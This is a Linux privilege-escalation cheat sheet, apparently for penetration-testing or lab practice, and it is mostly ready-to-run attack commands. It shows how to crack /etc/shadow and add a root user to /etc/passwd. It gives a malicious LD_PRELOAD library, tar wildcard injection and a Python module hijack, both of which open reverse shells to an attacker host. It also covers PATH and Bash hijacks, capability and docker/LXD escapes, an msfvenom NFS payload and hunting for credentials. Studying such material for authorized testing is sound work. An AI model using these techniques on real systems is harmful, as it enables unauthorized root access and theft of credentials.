Linux Privilege Escalation
- Check your user:
id,whoami - Run LinPEAS and Linux Smart Enumeration with increasing levels
- Run LinEnum and other scripts as well
- If scripts are failing, run manual commands and check cheatsheets (e.g., https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- Spend time reading enumeration results
- Check files in your home directory and common locations (
/var/backup,/var/logs) - If your user has a history file, read it — it may contain passwords
- Try things that don't have many steps first: sudo, cron jobs, SUID files
- Look at root processes, enumerate versions, search for exploits
- Check for internal ports you can forward to your attacking machine
- If you still don't have root, re-read enumeration dumps and highlight anything odd (unusual processes, file names, non-standard filesystems, unusual usernames)
- At this stage, start thinking about kernel exploits
Practice makes perfect. Keep searching!
# Set environment variables
export TARGET=<ip>
export LHOST=<your-ip>
export LPORT=4444
Understanding Permissions
Users, Groups, and Files
- User accounts:
/etc/passwd - Password hashes:
/etc/shadow - Groups:
/etc/group - Users have a primary group and can have multiple secondary groups
- The root user (UID 0) has access to every file
File Permissions
Three sets of permissions (owner, group, others), each with read (r), write (w), execute (x).
Directory permissions:
- Execute — required to enter the directory (without this, read/write won't work)
- Read — list directory contents
- Write — create files and subdirectories
Special Permissions
- SUID bit — file executes with the privileges of the file owner
- SGID bit — file executes with the privileges of the file group; on directories, files inherit the directory's group
- SUID/SGID shown as
sin the execute position
Real vs Effective UID
- Real ID — who the user actually is (defined in
/etc/passwd) - Effective ID — used for access control decisions and by commands like
whoami - Saved ID — ensures SUID processes can switch between real and effective IDs
Print real and effective IDs:
id
Print real, effective, saved, and filesystem UIDs:
cat /proc/$$/status | grep "[UG]id"
Enumeration Tools
LinPEAS
The most comprehensive automated Linux enumeration script. Checks for privesc vectors and highlights findings by severity:
./linpeas.sh
Pipe to a file for review:
./linpeas.sh | tee linpeas_output.txt
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
Linux Smart Enumeration (lse)
Bash script with multiple levels that gradually reveal more information:
./lse.sh -l 0 -i # Level 0 - quick checks
./lse.sh -l 1 -i # Level 1 - more detail
./lse.sh -l 2 -i # Level 2 - full enumeration
https://github.com/diego-treitos/linux-smart-enumeration
LinEnum
Advanced Bash script that extracts a large amount of useful information. Can copy interesting files for export and search for files containing a keyword (e.g., "password"):
./LinEnum.sh -h
./LinEnum.sh -k password
https://github.com/rebootuser/LinEnum
pspy — Process Monitoring
Monitors running processes without root privileges. Detects cron jobs and scheduled tasks that you can't see with crontab -l:
./pspy64
Watch for processes that run periodically as root — these may execute scripts you can modify.
https://github.com/DominicBreuker/pspy
Run pspy for a few minutes and watch the output. Cron jobs, systemd timers, and other scheduled tasks will appear. This catches things that LinPEAS and other enumeration tools miss.
Kernel Exploits
uname -a
Search for exploits:
searchsploit linux kernel <version> priv esc <distro>
Use linux-exploit-suggester-2 (https://github.com/jondonas/linux-exploit-suggester-2):
./linux-exploit-suggester-2.pl -k <kernel-version>
linux-exploit-suggester (Python version):
./linux-exploit-suggester.py --kernel <version>
Service Exploits
Services running as root can lead to root-level command execution if exploitable.
Show all processes running as root:
ps aux | grep "root"
Identify the version of each service:
<program> -v
<program> --version
rpm -qa | grep <program>
dpkg -l | grep <program>
Search for exploits using searchsploit, Exploit-DB, GitHub.
If a service port is bound to loopback only, set up an SSH tunnel to run the exploit from Kali:
ssh -R <local-port>:127.0.0.1:<target-port> $USER@$LHOST
Weak File Permissions
Readable /etc/shadow
ls -l /etc/shadow
cat /etc/shadow
If readable, copy the root hash and crack it:
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
Writable /etc/shadow
Generate a new SHA-512 password hash:
mkpasswd -m sha-512 newpassword
Replace the root user's hash in /etc/shadow with the new one.
Writable /etc/passwd
On outdated systems, /etc/passwd may contain the password hash (takes precedence over /etc/shadow).
Normal root entry: root:x:0:0:root:/root:/bin/bash
Delete the "x" for no password: root::0:0:root:/root:/bin/bash
Or generate a hash and insert it:
openssl passwd "password"
Add a new root-equivalent user:
echo 'newroot:$(openssl passwd password123):0:0:root:/root:/bin/bash' >> /etc/passwd
Finding Writable Files
find /etc -maxdepth 1 -writable -type f
find /etc -maxdepth 1 -readable -type f
find / -executable -writable -type d 2>/dev/null
Writable Scripts Run by Root
Search for scripts or binaries run by root (via cron, systemd, etc.) that you can modify:
find / -writable -type f -name "*.sh" 2>/dev/null
find / -writable -type f -name "*.py" 2>/dev/null
If a writable script is executed by root periodically, inject a reverse shell or add your user to sudoers:
echo 'echo "youruser ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> /path/to/writable/script.sh
Backups
Even if permissions are correct on sensitive files, users may have created insecure backups. Check /var/backup, /tmp, home directories.
Sudo
Check what you can run as sudo:
sudo -l
Cross-reference binaries with https://gtfobins.github.io/ for known escalation vectors.
sudo with LD_PRELOAD
If sudo -l shows env_keep+=LD_PRELOAD (which is rare but does happen), you can load a malicious shared library before any sudo command:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
}
Compile:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
Execute:
sudo LD_PRELOAD=/tmp/preload.so <any-allowed-command>
doas (Alternative to sudo)
Some systems use doas instead of sudo. Check if it's installed and its configuration:
which doas
cat /etc/doas.conf
The config syntax is similar to sudo but simpler. Look for permit nopass entries.
Cron Jobs
Check cron configurations:
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
Look for cron jobs running as root that execute scripts you can modify.
Wildcard Injection
If a cron job uses wildcard expansion (e.g., tar cf /backup/backup.tar * in a directory you can write to), you can inject command-line arguments as filenames:
# If cron runs: tar cf /backup/backup.tar * in /var/www/html/
cd /var/www/html/
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash' > shell.sh
echo 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' >> shell.sh
chmod +x shell.sh
When tar expands the wildcard, the filenames become arguments: tar cf /backup/backup.tar --checkpoint=1 --checkpoint-action=exec=sh shell.sh ...
Wildcard injection works with tar, chown, chmod, rsync, and other tools that accept options through filenames. Use pspy to identify which commands cron runs and whether they use wildcards.
SUID / SGID Executables
Find all SUID/SGID files:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
For each interesting SUID binary, check the version and search for exploits:
/usr/sbin/exim-4.84-3 --version
searchsploit exim 4.84
If you copy an exploit script from your machine, you may need to remove Windows carriage return characters: sed -e "s/\r//" exploit.sh > clean.sh
Shared Object Injection
When a SUID program loads shared objects, use strace to find missing ones:
strace /usr/local/bin/suid-binary 2>&1 | grep -i "no such file"
If you can write to the location the program tries to open, create a malicious shared object.
PATH Environment Variable Manipulation
If a SUID binary calls another program by name (not absolute path), you can hijack it via PATH:
Find the command being called:
strings /path/to/suid-binary
strace -v -f -e execve /path/to/suid-binary 2>&1 | grep exec
ltrace /path/to/suid-binary
Create a malicious version and prepend its location to PATH:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid-binary
Abusing Shell Features (Bash < 4.2-048)
In older Bash versions, you can define functions with absolute path names that take precedence over executables:
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
/path/to/suid-binary
Abusing Shell Features #2 (Bash < 4.4)
In debugging mode, Bash uses the PS4 environment variable which can include embedded commands:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /path/to/suid-binary
/tmp/rootbash -p
In Bash 4.4+, the PS4 variable is not inherited by shells running as root.
Capabilities
Linux capabilities provide fine-grained privilege control beyond the traditional root/non-root model. Some capabilities allow privilege escalation.
Find Binaries with Capabilities
getcap -r / 2>/dev/null
Dangerous Capabilities
| Capability | Risk |
|---|---|
cap_setuid | Can change UID — direct root escalation |
cap_setgid | Can change GID |
cap_dac_read_search | Can read any file (bypass permissions) |
cap_dac_override | Can write any file (bypass permissions) |
cap_net_raw | Can sniff network traffic |
cap_sys_admin | Near-equivalent to root |
cap_sys_ptrace | Can inject into other processes |
Exploitation Examples
Python with cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Perl with cap_setuid:
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
vim with cap_setuid:
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash")'
Cross-reference capabilities with https://gtfobins.github.io/ (filter by "Capabilities").
Docker Group Exploitation
If the current user is a member of the docker group, they can mount the host filesystem inside a container and access everything as root.
Check group membership:
id
groups
Escalate by mounting the host root filesystem:
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
You now have a root shell with full access to the host filesystem.
This also works with lxc (LXD containers) if the user is in the lxd group.
LXD Group Exploitation
# On Kali, build a minimal Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine
# Transfer the .tar.gz to the target
# On the target:
lxc image import ./alpine-v*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
Root filesystem is at /mnt/root inside the container.
Python Library Hijacking
If a Python script runs as root and you can write to a directory in its import path, you can create a malicious module.
Check Python Path
python3 -c "import sys; print('\n'.join(sys.path))"
Writable Module Directory
If any directory in the Python path is writable by your user, create a module that the script imports:
# If the target script does "import requests" and /usr/lib/python3/dist-packages is writable
echo 'import os; os.system("bash -i >& /dev/tcp/LHOST/LPORT 0>&1")' > /usr/lib/python3/dist-packages/requests.py
Script in Current Directory
Python checks the current directory first (empty string in sys.path). If a root cron job runs a Python script, placing a malicious module with the same name as an import in the script's directory will hijack it.
Passwords & Keys
History Files
cat ~/.*history | less
ls -al ~
cat ~/.bash_history
Look for mistyped commands that may contain passwords (e.g., password entered as a command instead of at a prompt).
Config Files
Many services store credentials in config files. If a service runs as root and reuses passwords, you may be able to su to root.
Common locations:
cat /var/www/html/wp-config.php
cat /var/www/html/.env
cat /etc/mysql/my.cnf
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
SSH Keys
Look for insecurely stored private keys:
find / -name id_rsa -o -name id_ed25519 -o -name id_ecdsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
NFS (Network File System)
NFS shares are configured in /etc/exports.
Enumerate Shares
From Kali:
showmount -e $TARGET
nmap -sV --script=nfs-showmount $TARGET
Root Squashing
By default, NFS "squashes" root (UID 0) to the nobody user. But if no_root_squash is configured on a writable share, a remote root user can create files as the local root.
Check for no_root_squash:
cat /etc/exports
Exploitation
On Kali (as root):
mkdir /tmp/nfs
mount -o rw,vers=2 $TARGET:/tmp /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf
On the target:
/tmp/shell.elf
Internal Services / Port Forwarding
Check for services listening on localhost only:
ss -tlnp
netstat -tlnp
If you find services bound to 127.0.0.1 on ports like 3306, 8080, 8443, etc., forward them to your Kali machine for exploitation:
ssh -L 8080:127.0.0.1:8080 $USER@$TARGET
Then access http://127.0.0.1:8080 on Kali to interact with the internal service.